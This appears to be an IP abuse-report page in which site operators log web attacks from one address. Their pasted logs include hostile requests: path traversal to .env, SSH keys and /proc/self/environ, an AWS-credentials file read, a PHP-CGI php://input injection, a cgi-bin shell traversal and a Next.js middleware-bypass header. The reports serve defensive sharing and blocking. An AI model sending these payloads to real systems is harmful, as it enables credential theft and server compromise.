🇫🇮
tjs
2026-10-02 12:55:00
(2 weeks ago)
web attack
Hacking
Web App Attack
🇺🇸
[email protected]
2026-10-02 07:57:28
(2 weeks ago)
CrowdSec ban: crowdsecurity/unifi-flood-detection (duration: 71h59m59s)
Port Scan
🇬🇧
openstrike.co.uk
2026-10-02 05:13:19
(2 weeks ago)
185 attacks on directory traversals, VC URLs, env grabbing URLs, shell probes, password/key grabbing ...
show more
185 attacks on directory traversals, VC URLs, env grabbing URLs, shell probes, password/key grabbing URLs, env grabbing URLs (type 2), config grabbing URLs (type 2), PHP URLs:
GET /..%2f..%2f.env HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /_image?href=/../../../.env HTTP/1.1
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc HTTP/1.1
GET /@fs/proc/self/environ?import&raw?? HTTP/1.1
GET /settings/_payload.json HTTP/1.1
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input HTTP/1.1
show less
Hacking
Web App Attack
🇧🇪
cmbplf
2026-10-01 23:48:43
(2 weeks ago)
289 requests with url.path */@fs/*
Brute-Force
Bad Web Bot
🇺🇸
jormaster3k
2026-10-01 20:35:23
(2 weeks ago)
Attack against Apache (too many 404s)
Web App Attack
2026-10-01 20:19:19
(2 weeks ago)
Fuzzing/Looking for credentials files.
Brute-Force
Web App Attack
🇩🇪
big-cloud.nl
2026-10-01 13:32:23
(2 weeks ago)
Try to access /.ssh/id_rsa
Web App Attack
🇸🇬
Cloudkul Cloudkul
2026-10-01 13:19:02
(2 weeks ago)
Attempted Brute Force on our application
Brute-Force
Web App Attack
🇪🇸
robotstxt
2026-10-01 13:10:56
(2 weeks ago)
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/grafana-clock-panel/../../../.. ...
show more
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="35.247.225.117"
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/alertlist/../../../../../../../../proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="35.247.225.117"
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/alertlist/../../../../../../../../proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="35.247.225.117"
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/text/../../../../../../../../proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="35.247.225.117"
35.247.225.117 - - [01/Oct/2026:13:10:53 +0000] "GET /public/plugins/text/../../../../../../../../proc/self/environ HTTP/1.1" 400 193 "-" "-" "-" edge="35.247.225.117"
...
show less
Web Spam
Web App Attack
🇺🇸
TPI-Abuse
2026-10-01 12:40:24
(2 weeks ago)
(mod_security) mod_security (id:210492) triggered by 35.247.225.117 (117.225.247.35.bc.googleusercon ...
show more
(mod_security) mod_security (id:210492) triggered by 35.247.225.117 (117.225.247.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 01 08:40:16.196159 2026] [security2:error] [pid 462:tid 462] [client 35.247.225.117:50754] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpanel.waterarchitecture.com"] [uri "/assets../.env"] [unique_id "ar5UsOP-Hqa3zOCcUs5KNwAAABo"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2026-10-01 12:23:30
(2 weeks ago)
Portscan: TCP/8080 (4x), TCP/8443 (4x), TCP/443, TCP/80
Port Scan
🇩🇪
updown.io
2026-10-01 12:18:37
(2 weeks ago)
{"level":"info","ts":1790857110.8170383,"logger":"http.log.access.log1","msg":"handled request","req ...
show more
{"level":"info","ts":1790857110.8170383,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"35.247.225.117","remote_port":"43778","client_ip":"35.247.225.117","proto":"HTTP/2.0","method":"GET","host":"status.plexx.dev","uri":"/asset-manifest.json","headers":{"Sec-Fetch-Mode":["navigate"],"Sec-Ch-Ua":["\"Chromium\";v=\"153\", \"Brave\";v=\"153\", \"Not_A Brand\";v=\"8\""],"User-Agent":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"Sec-Ch-Ua-Platform":["\"Linux\""],"Sec-Fetch-Dest":["document"],"Upgrade-Insecure-Requests":["1"],"Priority":["u=0, i"],"Accept-Language":["en-US,en;q=0.9"],"Sec-Fetch-Site":["none"],"Sec-Ch-Ua-Mobile":["?0"],"X-Nextjs-Data":["1"],"Sec-Fetch-User":["?1"],"X-Middleware-Subrequest":["src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"],"Accept-Encoding":["gzip, deflate
...
show less
DDoS Attack
Web App Attack
🇳🇱
Site.eu
2026-10-01 12:11:37
(2 weeks ago)
Excessive multi-domain requests
Brute-Force
🇳🇱
WeCloudit-Anti-Abuse
2026-10-01 11:30:57
(2 weeks ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-probing
Web App Attack
Hacking
🇺🇸
TPI-Abuse
2026-10-01 11:09:40
(2 weeks ago)
(mod_security) mod_security (id:210492) triggered by 35.247.225.117 (117.225.247.35.bc.googleusercon ...
show more
(mod_security) mod_security (id:210492) triggered by 35.247.225.117 (117.225.247.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 01 07:09:34.551013 2026] [security2:error] [pid 6397:tid 6397] [client 35.247.225.117:36546] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.starrmail.net"] [uri "/.htpasswd"] [unique_id "ar4_blKdLNndl0WaR0wICAAAAAs"]
show less
Brute-Force
Bad Web Bot
Web App Attack